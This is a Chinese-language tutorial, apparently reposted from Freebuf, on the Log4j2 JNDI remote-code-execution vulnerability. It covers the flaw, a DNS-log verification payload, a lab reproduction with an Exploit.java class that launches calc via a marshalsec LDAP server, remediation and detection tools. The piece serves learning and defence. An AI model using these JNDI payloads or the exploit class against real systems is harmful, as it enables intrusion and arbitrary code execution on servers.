Log4j遠端程式碼執行漏洞漫談
對於一個能養活安全工程師的核彈級漏洞,就非常有必要研究一番了,希望能拋磚引玉。
簡介
I 漏洞描述
Apache Log4j 是 Apache 的一個開源專案,Apache log4j-2 是 Log4j 的升級,我們可以控制日誌資訊輸送的目的地為控制檯、檔案、GUI元件等,通過定義每一條日誌資訊的級別,能夠更加細緻地控制日誌的生成過程。
Log4j-2中存在JNDI注入漏洞,當程式將使用者輸入的資料日誌記錄時,即可觸發此漏洞,成功利用此漏洞可以在目標伺服器上執行任意程式碼。
II 漏洞原理
當log4j列印的日誌內容中包括 ${jndi:ldap://ip}時,程式就會通過Idap協議訪問ip這個地址,然後ip就會返回一個包含Java程式碼的class檔案的地址,然後程式再通過返回的地址下載class檔案並執行。
III 影響範圍
Apache Log4j 2.x < 2.15.0-rc2。
漏洞驗證:
Docker漏洞環境搭建完成
訪問 顯示
頁面抓包
Change request POST method
獲取子域名qsydek.dnslog.cn
Post傳參c=${jndi:ldap://qsydek.dnslog.cn/exp}
漏洞驗證成功
漏洞復現:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
建立maven專案,匯入log4j的依賴
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:1389/Exploit}");
}
}
構造poc
public class Exploit {
static {
System.err.println("Pwned");
try {
String cmd = "calc";
Runtime.getRuntime().exec(cmd);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
構造Exploit.java
javac Exploit.java
編譯成class檔案
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "
開啟LDAP服務
執行Log4j.java,PWN!
漏洞修復
1>升級Apache Log4j2所有相關應用到最新版。
其他檢測手段
1> Log4j-scan 一款用於查詢log4j2漏洞的python指令碼,支援url檢測,支援HTTP請求頭和POST資料引數進行模糊測試。
特徵:
支援 URL 列表;
對 60 多個 HTTP 請求標頭進行模糊測試(不僅僅是以前看到的工具中的 3-4 個標頭);
對 HTTP POST 資料引數進行模糊測試;
對 JSON 資料引數進行模糊測試;
支援用於漏洞發現和驗證的 DNS 回撥;
WAF 繞過有效負載。
2>Log4j2 burp被動掃描外掛
通過外掛的方式,將Log4j2漏洞檢測能力整合到burp
3> AWVS掃描log4j2漏洞
AWVS14最新版本支援Log4j2漏洞檢測,支援批量掃描
4>製品級Log4j2漏洞檢測
支援 Jar/Ear/War包上傳,一鍵上傳即可獲取到檢測結果(騰訊安全binAuditor)
5> Log4j2 本地檢測
提取出來的Log4j2本地檢測工具,可快速發現當前伺服器存在風險的 log4j2 應用
隨著時間的推移,這個Log4j2中的RCE漏洞可能需要好幾年的時間才能得到解決,加強企業的應急檢測能力就是重中之重了。
來自 “ Freebuf ”, 原文作者:,;原文連結:https://www.freebuf.com/vuls/322949.html,如有侵權,請聯絡管理員刪除。
相關文章
- ThinkPHP遠端程式碼執行漏洞PHP
- phpunit 遠端程式碼執行漏洞PHP
- 高危漏洞!Apache Log4j 遠端程式碼執行漏洞(附修復建議)Apache
- Joomla遠端程式碼執行漏洞分析OOM
- OpenWRT 曝遠端程式碼執行漏洞
- 【核彈級漏洞】關於Apache Log4j 2遠端程式碼執行漏洞風險提示Apache
- 最新漏洞:Spring Framework遠端程式碼執行漏洞SpringFramework
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- 什麼是遠端程式碼執行漏洞?
- ThinkPHP 5.0.23 遠端程式碼執行漏洞PHP
- Discuz! X系列遠端程式碼執行漏洞分析
- .NET Remoting 遠端程式碼執行漏洞探究REM
- crash_for_windows_pkg遠端程式碼執行漏洞Windows
- WindowsJScript元件曝遠端程式碼執行漏洞WindowsJS元件
- 核彈級漏洞——Apache Log4j 2 遠端程式碼執行漏洞事件詳情及修復方式Apache事件
- Apache Struts 再曝高危遠端程式碼執行漏洞Apache
- Struts2遠端程式碼執行漏洞預警
- 網站漏洞檢測 squid反向代理存在遠端程式碼執行漏洞網站UI
- [漏洞預警]Laravel <= 8.4.2 Debug模式 _ignition 遠端程式碼執行漏洞Laravel模式
- Steam客戶端發現遠端程式碼執行漏洞:已放補丁客戶端
- 漫談程式和執行緒執行緒
- Apache SSI 遠端命令執行漏洞Apache
- 【安全公告】PHP多個遠端程式碼執行漏洞風險預警PHP
- Apache log4j2 遠端程式碼執行漏洞復現?Apache
- Apache Solr應用伺服器存在遠端程式碼執行漏洞?ApacheSolr伺服器
- OGNL設計及使用不當造成的遠端程式碼執行漏洞
- 國家漏洞庫CNNVD:關於微信Windows客戶端遠端程式碼執行漏洞的預警CNNWindows客戶端
- WordPress 3.5.1遠端程式碼執行EXP
- PHPMailer遠端命令執行漏洞復現PHPAI
- Struts2遠端程式碼執行漏洞檢測的原理和程式碼級實現
- Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦Windows
- Chrome 77釋出,修復遠端程式碼執行漏洞!請儘快更新!Chrome
- 新的PHP高危漏洞可導致黑客執行遠端程式碼攻擊PHP黑客
- VxWorks釋出安全更新修復多個高危遠端程式碼執行漏洞
- CVE-2020-17530——Apache Struts遠端程式碼執行漏洞Apache
- 修復Apache Log4j任意程式碼執行漏洞安全風險通告Apache
- SMB遠端程式碼執行漏洞CVE-2020-0796安全通告
- BlueBorne遠端程式碼執行漏洞Poc實戰(CVE-2017-0781)